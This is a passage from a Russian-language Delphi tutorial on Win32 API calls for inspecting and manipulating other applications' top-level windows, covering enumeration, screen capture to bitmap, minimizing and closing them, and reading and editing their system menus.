    // Добавляем название окна и класс в список первый символ + означает, что окно - иконка
    If Wd<>Form1.Handle then ListBox1.Items.Add(Ch+' '+String(Nm)+'/'+String(Cs));
    EnumProc := TRUE;
end;


Работа с остальными функциями этой группы проводиться таким же образом, Вы получаете значение типа boolean, и
что-то где-то отображаете.

Кроме того, можно так же предусмотреть возможность отображать только окна определенного вида. Например, только
видимые. Для этого достаточно вставить вместо строки

If Wd<>Form1.Handle ... ...условие вида
  If  ISWindowVisble(Wd) and (Wd<>Form1.Handle) then ... .



Впрочем, это уже на Ваш вкус, что отображать и как.

Что еще можно узнать об окнах верхнего уровня ?

Конечно, на этом информация об окнах не исчерпывается, еще очень и очень многое можно узнать об окне, зная его
описатель.

Я приведу вкратце некоторые из наиболее интересных, на мой взгляд:

Все примеры, как бы являются функциями, которые можно вставлять в EnumProc например, и вызывать из нее передавая
необходимые параметры.

Получение данных о расположении окна:

Процедура GetWindowRect

Синтаксис:

procedure GetWindowRect(Wnd: HWnd; var Rect);


Описание: Считывает в ARect pазмеpности огpаничивающего пpямоугольника окна (в кооpдинатах экpана).

Параметры:

Wnd: Идентификатор окна.
Rect: Пpинимающая стpуктуpа TRect.
Возвращаемое значение: Не используется

Функция просто возвращает полный размер окна (с заголовком, меню и т.д.) в глобальных экранных координатах.
Чтобы пояснить работу напишем функцию которая возвращает область окна в виде Trect.

Ничего сложного в этой функции нет, просто как пояснение к использованию:

Function GetWinRect(Wd: HWND):TRect;
Begin
  GetWindowRect(Wd,Result);
End;


Пpоцедуpа GetClientRect

Синтаксис:

procedure GetClientRect(Wnd: HWnd; var Rect: TRect);


Описание: Считывает кооpдинаты пользователя окна.

Параметры:

Wnd: Идентификатор окна.
Rect: Стpуктуpа TRect для пpиема кооpдинат пользователя.
Возвращаемое значение: Не используется

Функция возвращает размер рабочей области окна (уже без заголовка, меню и т.д.) в глобальных экранных координатах.

Укажем еще на одну функцию API необходимую для весьма полезной процедуры:

Функция GetWindowDC

Синтаксис:

function GetWindowDC(Wnd: HWnd): HDC;


Описание: Считывает контекст дисплея, обычно используемый для pаскpаски в окне областей, не являющихся областями пользователя.

Параметры:

Wnd: Идентификатор окна.
Возвращаемое значение: Идентификатор контекста дисплея; 0 - если ошибка.

Функция возвращает контекст устройства, грубо говоря, то где это окно рисуется.

А теперь реализуем пару своих функций, которые возвращают текущее окно в виде картинки BMP:

Скопировать все окно в BMP

Function WindowToBMP(WD: HWND ): TBitmap;
Var
WinDC: HDC;
ARect   : TRect;
begin
    Result := TBitmap.Create;             // Создаем рисунок, куда будем копировать
    GetWindowRect(WD, ARect);             // Узнаем размер
    with Result, ARect do
    begin
        Width := ARect.Right - ARect.Left;
        Height := ARect.Bottom - ARect.Top;
        If (Width=0) or (Height=0) then
        Begin
            MessageDlg('Размер области формы равен нулю',
            mtWarning,[mbOk],0);  // А вдруг у него нет размера ???
            Exit;       // Тогда выходим
        End;
        WinDC:=GetWindowDC(Wd);                // получаем для окна контекст устройства
        ShowWindow(Wd, SW_SHOW);               // на всякий случай выведем окно
        BringWindowToTop(WD);                  // и поместим поверх окон
        try
        // копируем оттуда прямоугольную область на канву
        // растрового изображения
            BitBlt( Canvas.Handle, 0, 0, Width, Height, WinDC,  0, 0, SRCCOPY);
        finally
        end;
    end;
end;



и функция, которая копирует только клиентскую часть окна в BMP

Function WindowToBMP(WD: HWND ): TBitmap;
Var
WinDC: HDC;
ARect   : TRect;
begin
    Result := TBitmap.Create;           // Создаем рисунок, куда будем копировать
    GetClientRect(WD, ARect);           // Узнаем размер
    with Result, ARect do
    begin
        Width := ARect.Right - ARect.Left;
        Height := ARect.Bottom - ARect.Top;
        If (Width=0) or (Height=0) then
        Begin
            MessageDlg('Размер области формы равен нулю',
            mtWarning,[mbOk],0);  // А вдруг у него нет размера ???
            Exit;   // Тогда выходим
        End;
        WinDC:=GetWindowDC(Wd);         // получаем для окна контекст устройства
        ShowWindow(Wd, SW_SHOW);        // на всякий случай выведем окно
        BringWindowToTop(WD);           // и поместим поверх окон
        try
            // копируем оттуда прямоугольную область на канву
            // растрового изображения
            BitBlt( Canvas.Handle, 0, 0, Width, Height, WinDC, 0, 0, SRCCOPY);
        finally
        end;
    end;
end;



Видно, что эти функции отличаются только определением области окна, которое будет скопировано.

Сложностей с пониманием работы этих функций быть не должно, получили область копирования по описателю, вычислили
размеры области копирования, получили контекст устройства, и скопировали.

Кстати сказать, для того, чтобы скопировать весь экран или часть экрана можно использовать подобные функции.
Единственное, что в таком случае придется поменять так это контекст устройства. Контекст устройства всего экрана 0.
Ну и вместо того, чтобы получа ть область окна, нужно будет явно передавать координаты области, которую необходимо
скопировать.

Очень много информации об окне можно получить при помощи следующей функции:

Функция GetWindowLong

Синтаксис:

function GetWindowLong(Wnd: HWnd; Index: Integer): Longint;


Описание: Считывает инфоpмацию об окне или о значениях дополнительного байта окна.

Паpаметpы:

Wnd: Идентификатоp окна.
Index: Смещение в байтах или одна из следующих констант:
GWL_EXSTYLE возвращает расширенный стиль окна.
GWL_STYLE возвращает стиль окна.
GWL_WNDPROC возвращает адрес стандартной процедуры окна.
GWL_HINSTANCE возвращает экземпляр приложения окна.
GWL_HWNDPARENT возвращает описатель родительского окна.
GWL_ID возвращает идентификатор окна.
GWL_USERDATA возвращает пользовательские данные об окне.
Возвpащаемое значение: Инфоpмация, хаpактеpная для окна.

Наиболее интересной информацией, на мой взгляд, является стиль окна и экземпляр приложения. Как пользоваться
подобной функцией ??

Например получаем экземпляр приложения:

Function GetHinstanse(WD:HWND): LongInt;
Begin
  Result:=GetWindowLong(Wd, GWL_HINSTANCE);
End;


Похожим образом получается любая информация, только в качестве второго параметра Вы передаете тот флаг, который
Вам необходим. Для интереса, можете посмотреть еще описание функции GetWindowWord она сходна с функцией GetWindowLong,
но возможно получение не сколько других параметров окна.

Еще ряд параметров можно вытащить используя функцию:

Функция GetClassLong

Синтаксис:

function GetClassLong(Wnd: HWnd; Index: Integer): Longint;


Описание: Считывает из стpуктуpы окна TWndClass со смещением Index длинное значение. Положительные смещения в
байтах (с нуля) используются для доступа к дополнительным байтам класса.

Паpаметpы:

Wnd: Идентификатоp окна.
Index: Смещение в байтах или константа
GCW_ATOM возвращает значение ATOM уникальное для класса окна
GCL_CBCLSEXTRA возвращает размер в байтах памяти для данного класса
GCL_CBWNDEXTRA возвращает размер в байтах памяти для данного окна
GCL_HBRBACKGROUND возвращает указатель на кисть данного класса
GCL_HCURSOR возвращает указатель на курсор ассоциированный с классом.
GCL_HICON возвращает указатель на иконку ассоциированную с классом.
GCL_HICONSM Windows 95:возвращает указатель на маленькую иконку. Windows NT: не доступно.
GCL_HMODULE возвращает имя модуля класса.
GCL_MENUNAME возвращает имя меню для данного класса.
GCL_STYLE возвращает стиль окна для класса.
GCL_WNDPROC возвращает адрес стандартной процедуры окна

Возвpащаемое значение: Считанное значение.

Надо сказать, что, к сожалению, далеко не все данные, возвращаемые этой функцией верны. Скорее всего она
возвращает сведения только о тех классах окон которые корректно зарегистрированы в системе, хотя возможно, что здесь
 я ошибаюсь.

Теперь попробуем применить полученные сведения на практике. Ниже приводится текст позволяющий извлекать иконки из

приложений, которые запущены в настоящий момент (как было сказано выше, к сожалению, работает не для всех окон).

Function WinIconToBMP(Wd:HWND);
Var Icon:HICON;                       // Тип указатель на иконку
Begin
    Result:=TbitMap.Create;
    Icon:=GetClassLong(Wd,GCL_HICON); // Получаем иконку по описателю
    If ICON > 0 then        // Если получена действительно иконка
    With Result do
    Begin
        Height:=31;
        Width:=31;
        Canvas.Brush.Color:=clWhite;
        Canvas.FillRect(Rect(0,0,31,31));    // На всякий случай заливаем белым
        DrawIcon(Canvas.Handle, 0, 0, Icon); // И отрисовываем ее на канве
    End;
End;



Как видно, процедура не такая уж и сложная. Для полноты информации можно еще извлечь идентификатор нити, к которой
относиться окно.

Функция GetWindowThreadProcessId

Синтаксис:

DWORD GetWindowThreadProcessId(Wnd: HWND; lpdwProcessId : LPDWORD);


Описание: Возвращает идентификатор процесса к которому принадлежит данное окно

Параметры:

Wnd: Идентификатор окна.
lpdwProcessId : 32битное значение идентификатора процесса
Возвращаемое значение: идентификатор нити

Как использовать данную функцию ??

Var
    mProcessID,mThreadID : Dword;
Begin
    ...// Получение описателя в WD
    mThreadID:= GetWindowThreadProcessId(Wd,@mProcessID); // Получения идентификаторов.
    ...
End;


Эта функция хороша тем, что для всех окон одного приложения этот идентификатор будут един, если они запущены внутри
одной нити (что зачастую и делается). То есть Вы можете разбить окна по нитям и /или по процессам, к которым они
относятся. А так же Вы мож ете определять, какие окна данного приложения в настоящий момент доступны, видны, свернуты и т.д.

Итоги

Итак, мы получили список всех окон верхнего уровня, запущенных в системе и огромное количество информации об окнах
верхнего уровня, практически все, что может понадобиться:

Описатель окна
Заголовок окна
Класс окна
Состояние окна (распахнутое, видимое, доступное и т.д.)
Размеры и положение окна
Размеры и положение клиентской части окна
Контекст устройства
Стиль окна
Экземпляр приложения
Иконку.
Идентификатор нити.
-------------------------------------------------------



еперь, попробуем менять, что-то в чужих окнах. И вообще попробуем сделать с ними то же, что мы делаем со своими
окнами. Сразу скажу, что тема эта неисчерпаема. Ей можно посвятить не одно скромное обозрение, а детальное
многотомное издание. Я не ставлю св оей задачей.

Несколько предварительных сурьезных слов.

Вынужден сказать, что многое изложенное ниже может привести к неприятным последствиям. Например, к тому, что
программа или система будет зависать. Поэтому будем считать, что читатель находиться в трезвом уме и здравой
памяти и не будет совершать необдуман ные действия. Прежде чем убить или закрыть чужое окно, подумайте, а
ачем это окно вообще висит. Помните, что если окна висят в системе значит это кому то нужно ?! (почти Маяковский).
 Ну а теперь немного попугав для проформы перейдем к делу.

Содержание:

Несколько предварительных сурьезных слов.
Режимы отображение окон верхнего уровня.
Системное меню и кнопки заголовка.
Некоторые дополнительные возможности.
Итоги

Итак…

Режимы отображение окон верхнего уровня.

Давайте попробуем для начала сделать чужое окно активным (мы уже это делали, когда спасали чужое окно в картинку).
Для этого можно использовать одну из следующих функций:

Функция SetForegroundWindow

Синтаксис:

function SetForeGroundWindow(Wd: Hwnd):Boolean;


Описание: Показывает верхние окно системы.

Параметры:

Wnd: Идентификатор окна.
Возвращаемое значение: True- если функция отработала, False- при ошибке.

Процедура BringWindowToTop

Синтаксис:

procedure BringWindowToTop(Wnd: HWnd);


Описание: Активизирует и перемещает Wnd в вершину стека перекрывающихся окон.

параметры:

Wnd: Всплывающее или дочернее окно.
Возвращаемое значение: Нет

Теперь попробуем проделать с неким окном, имеющим идентификатор окна HD:HWnd некие стандартные действия:

1) Свернуть данное окно;
2) Развернуть данное окно;
3) Закрыть данное окно.

Все данные действия могут быть проделаны с окном при помощи стандартной функции SendMessage или PostMessage, с
различными параметрами:

1) SendMessage(HD,WM_SYSCOMMAND,SC_MINIMIZE,0);
2) SendMessage(HD,WM_SYSCOMMAND,SC_MAXIMIZE,0);
3) SendMessage(HD,WM_SYSCOMMAND,SC_CLOSE,0);

Существуют и другие константы, для сообщений вида WM_SYSCOMMAND:

SC_CLOSE Закрывает окно.
SC_CONTEXTHELP Изменяет курсор на вопросительный знак.
SC_DEFAULT Выбирает элемент по умолчанию; эмулирует двойное нажатие на Системное меню.
SC_HOTKEY Инициирует окно, связанное с текущим - указанной комбинацией горячих клавиш.
SC_HSCROLL Прокручивается горизонтально окно.
SC_KEYMENU Открывает Системное меню как результат нажатия клавиши.
SC_MAXIMIZE (или SC_ZOOM) Разворачивает окно.
SC_MINIMIZE (или SC_ICON) Сворачивает окно.
SC_MONITORPOWER Устанавливает состояние дисплея.
SC_MOUSEMENU Открывает Системное меню как результат щелчка мыши.
SC_MOVE Перемещает окно.
SC_NEXTWINDOW Переходит к следующему окну.
SC_PREVWINDOW переходит к предыдущему окну.
SC_RESTORE Восстанавливает окно к его нормальной позиции и размеру.
SC_SCREENSAVE Запускает стандартный скринсейвер.
SC_SIZE Задает размеры окно.
SC_TASKLIST Выполняет или инициирует Windows Task Manager.
SC_VSCROLL Прокручивается окно вертикально.

Первый параметр - описатель искомого окна, второй сообщение (в нашем случае WM_SYSCOMMAND) третий одна из констант
приведенных выше, четвертый параметр - координаты (x- младшее слово y - старшее).

Можно, так же, показать или скрыть окно, используя функцию API:

Процедура ShowWindow

Синтаксис:

function ShowWindow(Wnd: HWnd; CmdShow: Integer);


Описание: отображает или прячет окно образом, указанным параметром CmdShow.

параметры:

Wnd: Всплывающее или дочернее окно.
CmdShow - одна из констант:

SW_HIDE
SW_MAXIMIZE
SW_MINIMIZE
SW_RESTORE
SW_SHOW
SW_SHOWDEFAULT
SW_SHOWMAXIMIZED
SW_SHOWMINIMIZED
SW_SHOWMINNOACTIVE
SW_SHOWNA
SW_SHOWNOACTIVATE
SW_SHOWNORMAL

Возвращаемое значение: Не нуль, если окно было ранее видимым; нуль - если оно было ранее спрятанным.

Константы позволяют скрыть/показать окно с различными типами (распахнутым, свернутым, неактивным и пр.)

Давайте теперь попробуем решить ряд наиболее часто встречающихся проблем:

1) Как свернуть все окна системы ??? (как свернуть все окна системы кроме окна программы)

// Любимая наша процедура.
{Для того чтобы использовать данный пример необходимо наличие кнопки Button1.}

function EnumMiniProc (Wd: HWnd; Param: LongInt): Boolean; stdcall; // Обязательно stdcall !!!
Begin
 If  Wd<>Form1.Handle then // если это не наша программа
        If  IsWindowVisible(WD) then       // если окно видимо
            If  not IsIconic(WD) then      // если окно не свернуто
              If  isWindow(WD) then        // и вообще это - окно.
                 ShowWindow(WD, SW_MINIMIZE); // свернем его.
EnumProc := TRUE; // продолжаем перебирать все окна системы.
end;

procedure TForm1.Button1Click(Sender: : TObject); // допустим, закрываем по нажатию на клавишу
begin
 EnumWindows (@EnumMiniProc, 0); // отрабатываем сворачивание окон.
end;


Для того чтобы окно программы тоже сворачивалось достаточно убрать строку If Wd<>Form1.Handle then в EnumMiniProc

Конечно, можно поставить еще массу условий, по которым будут минимизироваться окна, но это уже дело конкретной задачи.

Еще один пример, который бывает зачастую нужен:

2) Как закрыть (или постоянно закрывать) окна, например содержащие в заголовке подстроку «Реклама»

Закрыть все окна, содержащие определенную подстроку в заголовке.

Const
    ReclamaName : String = 'Реклама' ; // строка, по которой мы узнаем, что это - реклама.
    TimeInterval     : Integer = 500;  // Интервал, с которым будем проверять наличие окон
{Для того чтобы использовать данный пример необходимо наличие таймера  Timer1.}
// Любимая наша процедура
function EnumCloseProc (Wd: HWnd; Param: LongInt): Boolean; stdcall; // Обязательно stdcall !!!
Var
       Nm:Array[0..255] of Char;  // буфер для имени
   zName:String;

Begin
 GetWindowText(Wd,Nm,255);         // считываем  текст заголовка окна
 ZName:=AnsiUpperCase(String(Nm)); // преобразуем к верхнему регистру т.е РЕКЛАМА
If Pos(ReclamaName,zName)<>0 then SendMessage(WD,WM_SYSCOMMAND,SC_CLOSE,0);
EnumProc := TRUE;                  // продолжаем перебирать все окна системы.
end;

procedure Tform1.Timer1Timer(Sender: TObject); // будем проверять по таймеру…
begin
 Timer1.Interval:= TimeInterval;  // установим время до следующего вызова
 EnumWindows (@EnumCloseProc, 0); // отрабатываем закрытие окон.
end;



Понятно, что настоящая реклама не дает себе таких заголовков, но общий принцип останется тем же, а так попробуйте
поискать общее в заголовках окна, названии классов окна и т.п. Кроме того, использование таймера чревато тем, что
окон в системе очень много и за установленный интервал времени все окна не будут отработаны, это приведет к
замедлению работы системы. Но решение данной подзадачки автор оставляет за читателем, благо особых сложностей
с этим нет (увеличения интервала времени, установка логического условия о том, что проверка уже идет, вставка
оператора Application.ProcessMessages и проч.)

На этом все возможности этих функций API не исчерпываются, но общий принцип отображения чужих окон, закрытия,
перемещения и прокрутки изложен, дальше нужно от конкретной задачи.

Системное меню и кнопки заголовка.

Системное меню, отображает обычно ряд доступных стандартных функций применимых к окнам.

Обычно к таким функциям относятся следующие команды (применительно к локализованным Windows, в англоязычных
названия будут другие, есть подозрения, что английские J):

Восстановить - восстанавливает размер окна.
Переместить - перемещает окно.
Размер - позволяет изменить размер окна.
Свернуть - сворачивает окно до иконки (минимизирует).
Развернуть - разворачивает окна до максимально возможного размера
Закрыть - закрывает окно.

Все эти команды, а так же ряд других (например, добавленных пользователем) доступны при нажатии на иконку,
расположенную в левой части заголовка окна.

Ряд команд имеет кнопку, расположенную в правой части заголовка. Обычно таких кнопок три: свернуть, восстановить,
закрыть. Иногда добавляется кнопка помощь.

Зачем манипулировать доступными командами системного окна ??? Ну, например, есть окошко, у которого кнопка
закрыть - недоступна, а в системном меню пункта закрыть нет, да и на Alt+F4 она не откликается. А убрать
программку ужас как хочется.

Процедура GetSystemMenu

Синтаксис:

function GetSystemMenu(Wnd: HWnd; Revert: Bool): HMenu;


Описание: Считывает системное меню окна для копирования и модификации.

параметры:

Wnd: Всплывающее или дочернее окно.
Revent: Нуль, чтобы возвращался описатель для копирования системного меню, и не нуль, чтобы возвращался описатель
исходного системного меню.
Возвращаемое значение: идентификатор системного меню;
0 - если Revert отлична от нуля и системное меню не модифицировано.

Для начала надо получить идентификатор системного меню. При помощи приведенной выше функции.

Далее попробуем определить, что именно содержится в системном меню (надо сказать, что приведенные ниже функции API
справедливы для любых меню, а не только системных, но об этом несколько позже):

Процедура GetMenuString

Синтаксис:

function GetMenuString(Menu: HMenu; IDItem: Word; Str: PChar;
  MaxCount: Integer; Flag: Word): Integer;


Описание: копирует метку элемента меню в Str. параметры:

Menu: идентификатор меню.
IDItem: идентификатор элемента меню.
Str: принимающий буфер.
MaxCount: размер буфера.
Flag: Одна из констант меню

mf_ByPosition - определять пункт меню по порядковому номеру
mf_ByCommand - определять пункт меню по выполняемой команде.

Возвращаемое значение: Количество реально скопированных байт.

Как видно из описания функции возможно два варианта определения списка по номеру или по выполняемой команде.

Если Flag = mf_ByCommand тогда в качестве IDItem передаются стандартные команды (см. константы в WM_SYSCOMMAND.
Предыдущий раздел).

Например

I:=GetMenuString (hMenu, SC_CLOSE, Mn,255,mfByCommand);


Возвращает название пункта системного меню, отвечающего за закрытие окна. I=0 указывает, что такого пункта в
системном меню нет.

Если Flag = mf_ByPosition тогда в качестве IDItem передается порядковый номер искомого пункта меню, начиная с 0

Например

I:=GetMenuString (hMenu, 0, Mn,255,mfByPosition);


Возвращает название самого первого по порядку пункта системного меню (обычно это восстановить). I=0 указывает, что
такого пункта в системном меню нет. ИМХО первый вариант более пригоден для получения списка строк системного меню,
в то время как второй - д ля определения присутствует ли данная команда в системном меню.

Количество элементов меню можно получить при помощи функции

Процедура GetMenuItemCount

Синтаксис:

function GetMenuItemCount(Menu: HMenu): Word;


Описание: определяет число меню и элементов меню верхнего уровня в указанном меню.

параметры:

Menu: идентификатор меню.
Возвращаемое значение: В случае успешного завершения возвращается число элементов меню; 0 - в противном случае.

Вот как приблизительно может выглядеть функция, которая определяет системное меню окна:

Получение списка системного меню окна.

...
ListBox1 : TlistBox; // Полученный список запихиваем сюда
... ...

Procedure GetSysMenuItem (Wd:HWND); // Передаем идентификатор окна.
Var
      I,K,Q:Word;
      hMenuHandle : HMENU;
      Nm:Array[0..255] of Char;
Begin
 ListBox1.Clear; // Очистим список перед использованием.
 hMenuHandle:=GetSystemMenu(Wd, FALSE); // Получим идентификатор
if (hMenuHandle = 0) then Exit;  // Если такого меню нет, то выходим
Q:=GetMenuItemCount(hMenuHandle);       // Определяем количество пунктов меню.
For k:=0 to Q-1 do
 Begin
  i:=GetMenuString(hMenuHandle,k,Nm,255,MF_BYPOSITION); // Считываем название
  ListBox1.Items.Add(String(Nm)); // Добавляем в список.
End;
End;



Итак, мы получили список пунктов системного меню. Пустые строки, скорее всего, означают разделители. Так же
используются акселераторы (&)

Следующим шагом будет определение состояния того или иного пункта меню.

Процедура GetMenuState

Синтаксис:

function GetMenuState(Menu: HMenu; ID, Flags: Word):


Описание: Считывает инфоpмацию состояния для указанного элемента меню.

параметры:

Menu: идентификатор меню.
IDItem: идентификатор элемента меню.
Flag: Одна из констант меню

mf_ByPosition - определять пункт меню по порядковому номеру
mf_ByCommand - определять пункт меню по выполняемой команде.

Возвращаемое значение: Маски флагов из следующих значений:

mf_Checked - отмеченное галочкой
mf_Disabled - недоступное
mf_Enabled - доступное
mf_MenuBarBreak - в новой строке или столбце с рисовкой разделителя
mf_MenuBreak - в новой строке или столбце без линий
mf_Separator - строка -разделитель
mf_UnChecked - неотмеченное.

в случае всплывающего меню старший байт содержит число элементов; -1 в случае неверного идентификатора. Давайте
слегка улучшим наш предыдущий текст, будем отображать, кроме названия пунктов меню, еще и такую насущную информацию
 как является ли данный пункт разделителем и доступен ли данный пункт для пользователя : Получение списка состояния
системного меню окна.

...
ListBox1 : TlistBox; // Полученный список запихиваем сюда
... ...

Procedure GetSysMenuStatus (Wd:HWND); // Передаем идентификатор окна.
Var
      K,Q,l:Word;
      hMenuHandle : HMENU;
      Nm:Array[0..255] of Char;
      S:String;
Begin
 Form1.ListBox1.Clear; // Очистим список перед использованием.
 hMenuHandle:=GetSystemMenu(Wd, FALSE); // Получим идентификатор
if (hMenuHandle = 0) then Exit;  // Если такого меню нет, то выходим
Q:=GetMenuItemCount(hMenuHandle);       // Определяем количество пунктов меню.
For k:=0 to Q-1 do
 Begin
  GetMenuString(hMenuHandle,k,Nm,255,MF_BYPOSITION); // Считываем название
 S:=String(Nm);
  l:=GetMenuState(hMenuHandle,k,MF_BYPOSITION);         // Считываем состояние пункта меню
  If (L and mf_Separator=mf_Separator) then S:='----------------';  // Если это разделитель
  If (l and mf_Grayed<>mf_Grayed) then S:='(a)'+S;  // Если пункт меню подсвечен
  Form1.ListBox1.Items.Add(S); // Добавляем в список.
End;
End;


Точно так же можно определять и многие другие параметры пунктов меню. Для получения большего количества информации о
пункте меню можно использовать

Пpоцедуpа GetMenuItemInfo

Синтаксис:

function GetMenuItemInfo(Menu: HMenu; ID, Flags: Word; Info:TMenuItemInfo): Word;


Описание: Выдает информацию о пункте меню.

параметры:

Menu: идентификатор меню.
ID: Идентификатор элемента меню.
Flag: Одна из констант меню
mf_ByPosition - определять пункт меню по порядковому номеру (или TRUE)
mf_ByCommand - определять пункт меню по выполняемой команде (или False).
Info : Указатель на структуру MENUITEMINFO

MENUITEMINFO = Record
CbSize : Word;  // размер структуры в байтах
FMask : Word;   // Определяет какие поля записи должны быть установлены или выбраны
FType : Word;   // Тип пункта меню (основные)
    //mft_BitMap - отображаемое с растровым изображением
    // mft_Separator - строка -разделитель
    // mft_String - строка
    // mft_RadioCheck - строка с возможностью выбора
    // mft_OwnerDraw - рисуемое пользователем
FState : Word; //Состояние пункта меню (основные).
    // mfs_Checked - отмеченное галочкой
    // mfs_UnChecked - неотмеченное.
    // mfs_Default - по умолчанию
    // mfs_Grayed - серое.
wID    : Word;           // Идентификатор пункта меню
hSubMenu : HMENU;        // Идентификатор подменю. Если подменю нет то Null
hBmpChecked : HBITMAP;   // Дескриптор растра для выбранного пункта
hBmpUnChecked : HbitMap; // Дескриптор растра для не выбранного пункта
dwItemData : DWORD;      // Определяемое приложением значение
dwTypeData ; PAnsiChar;  // Содержимое пункта меню
cch : Word;              // Длина текста
hBmpItem: HBITMAP;       // Дескриптор отображаемого изображения пункта меню.
End;


Возвращаемое значение: В случае успешного завершения возвращается 1; 0 - в противном случае. Эта функция является
упрощенным вариантом монстроподобной GetMenuInfo, которая, к сожалению, поддерживается не везде (Делфа 3 не
поддерживает), поэтому описывать и привязываться к этой функции не буду. Итак, мы получили список пунктов
системного меню окна . Теперь можно

1) Изменять статус пунктов меню (и соответствующих им кнопок заголовка)
2) Удалять «лишние» пункты меню
3) Добавлять «необходимые» пункты меню.

Будем решать эти вопросы по порядку.

процедура EnableMenuItem

Синтаксис:

function EnableMenuItem(Menu: HMenu; IDEnableItem, Enable: Word): LongBool;


Описание: разрешает, блокирует или затеняет элемент меню в соответствии со значением параметра Enable.

Menu: Идентификатор меню.
IDEnableItem: идентификатор или позиция элемента меню или помечаемый всплывающий элемент.
Enable: Комбинация констант

mf_ByCommand - пункты меню по команде
или
mf_ByPosition - пункты меню по порядку

совмещенные с константами

mf_Disabled, - недоступный
mf_Enabled - доступный
mf_Grayed. - затененый

Возвращаемое значение: Пpедыдущее состояние элемента меню; -1, если элемент не существует..

Следует заметить, что некоторые пункты системного меню связаны с состоянием окна (такие которые задают положение
окна и возможность перемещать и изменять его размеры) и даже если удается формально запретить некий пункт (например
развернуться) это не значи т, что он будет действительно недоступен.

Включение/выключение пункта меню

procedure EnableSysItem(WD:HWND;Number:Integer);
// передаем описатель окна и номер пункта
Var
    hMenuHandle : HMENU;
    i : LongInt;
    l,r : word;
begin
  If (Number<0)  then Exit; // Если такого пункта точно быть не может
  hMenuHandle:=GetSystemMenu(Wd,False); // Получим идентификатор
  if hMenuHandle=0 then Exit; // Если меню нет
  R:=mf_ByPositon;
  //Прочтем текущее состояние
  l:=GetMenuState(hMenuHandle,Number,MF_BYPOSITION);
  // Переключим состояние
  if l and mfs_Disabled <> mfs_Disabled then R:=R or mfs_Disabled
  else R:=R or mfs_Enabled;
   i:=LongInt(EnableMenuItem(hMenuHandle,Number,R));
end;


Как уже было сказано, это процедура будет работать далеко не для всех пунктов меню, например кнопку и пункт меню
закрыть она будет запрещать очень даже хорошо, а вот например пункт развернуть далеко не всегда. Для того, чтобы
сделать это наверняка нужно п росто удалить такую возможность. Т.е. удалить соответствующий пункт системного меню.

Пpоцедуpа DeleteMenu

Синтаксис:

procedure DeleteMenu(Menu: HMenu Position, Flags: Word): Bool;


Описание: Удаляет элемент из Menu. Если элемент является всплывающим, его описатель уничтожается, а память -
освобождается.

Menu: Идентификатор меню.
Position: Положение или идентификатоp команды.
Flags: Одна из констант меню: mf_ByPosition, mf_ByCommand.
Возвращаемое значение: В случае успешного завеpшения - не нуль; в пpотивном случае - 0.

Описание стандартное, поэтому никаких сложностей при использовании данной функции возникнуть не должно.
ИМХО использование как раз этой функции - тот случай, когда в качестве параметра flags лучше передавать
значение mf_ByCommand явно указывая какую коман ду Вы собираетесь удалить из меню. Так же следует заметить,
что удаление пункта меню, которому соответствует кнопка заголовка приведет не к исчезновению кнопки из
аголовка, а только к ее затенению.

Добавить пункт меню можно двумя способами: просто добавить пункт в конец меню:

Пpоцедуpа AppendMenu

Синтаксис:

function AppendMenu(Menu: HMenu; Flags, IDNewItem: Word; Name: PChar): Bool;


Описание: Пpисоединяет в конец меню новый элемент, состояние котоpого опpеделяется Flags.

Menu: Идентификатор меню.
IDNewItem: Положение или идентификатоp команды.
Flags: Одна из констант меню: mf_ByPosition, mf_ByCommand.
Name: Название пункта меню.
Возвращаемое значение: В случае успешного завеpшения - не нуль; в пpотивном случае - 0.

Или вставить пункт меню настроив все необходимые параметры

Пpоцедуpа InsertMenuItem

Синтаксис:

function InsertMenuItem (Menu: HMenu; Flags, IDNewItem: Word; Item: :TMenuItemInfo): Bool;


Описание: Вставляет пункт меню.

Menu: Идентификатор меню.
IDNewItem: Положение или идентификатоp команды.
Flags: Одна из констант меню: mf_ByPosition, mf_ByCommand.
Item: Структура определяющая пункт меню (см. описание GetMenuItemInfo)
Возвращаемое значение: В случае успешного завеpшения - не нуль; в пpотивном случае - 0.

Ну и как результат всех наших стараний напишем процедуру, которая разрешает или запрещает кнопку, строку
системного меню «закрыть» (а так же комбинацию клавиш Alt+F4):

Удаление или восстановление кнопки закрыть окно.

// Отключает или разрешает так же пункт меню, и комбинацию Alt+F4
Procedure CloseXbtn (Wd:HWND; Enable:Boolean);
Var
    hMenuHandle : HMENU;
Begin
  hMenuHandle:=GetSystemMenu(Wd,False); // Получим идентификатор
  if hMenuHandle=0 then Exit; // Если меню нет
  If Enable then  // Если надо добавить пункт меню
      AppendMenu (hMenuHandle, mf_ByCommand, SC_Close,'&Закрыть Alt+F4');
        Else DeleteMenu(hMenuHandle, SC_Close, mf_ByCommand);
End;


Конечно, куда правильнее было бы использовать функцию InserMenuItem вместо AppendMenu, тогда можно было бы
поставить слева значек «закрыть». Но это уже для любителей самим повозиться с API, очень уж не хочется лишать
их этого удовольствия J.

Ну, и, наконец, для развлечения тех, кто продрался сквозь все эти кошмары работы с системным меню, предлагаю
маленькое развлечение.

Иногда появляется необходимость нарисовать, что-нибудь (например, кнопку) в заголовке чужого окна (а возможно и своего).
Это можно сделать очень и очень просто.

Пpоцедуpа DrawFrameControl

Синтаксис:

function DrawFrameControl (DC:HDC;Rc :Trect; uType,uStyle:Word ): Bool;


Описание: Рисует один из элементов в заголовке окна.
DC : контекст устройства в котором происходит рисование.
Rc : Область в которой будет происходить рисование
UType: Тип элемента одна из констант:

DFC_BUTTON Кнопка
DFC_CAPTION Заголовок
DCF_MENU Меню
DFC_SCROLL Полоса прокрутки
Ustyle : Стиль элемента одна из констант:

Для кнопок

DFCS_BUTTON3STATE Кнопка с тремя состояниями
DFCS_BUTTONCHECK Флажок
DFCS_BUTTONPUSH Кнопка
DFCS_BUTTONRADIO Переключатель
DFCS_BUTTONRADIOIMAGE Картинка для переключателя
DFCS_BUTTONRADIOMASK Маска для переключателя

Для заголовков

DFCS_CAPTIONCLOSE Кнопка закрыть
DFCS_CAPTIONHELP Кнопка помощь (только Window 9x)
DFCS_CAPTIONMAX Кнопка развернуть
DFCS_CAPTIONMIN Кнопка свернуть
DFCS_CAPTIONRESTORE Кнопка восстановить

Для меню

DFCS_MENUARROW Стрелка подменю
DFCS_MENUBULLET Маркер
DFCS_MENUCHECK Маркер - флажек

Для полос прокрутки

DFCS_SCROLLCOMBOBOX Линейка прокрутки выпадаюшего списка DFCS_SCROLLDOWN Кнопка вниз DFCS_SCROLLLEFT Кнопка
влево DFCS_SCROLLRIGHT Кнопка вправо DFCS_SCROLLSIZEGRIP Размерная ручка DFCS_SCROLLUP Кнопка вверх

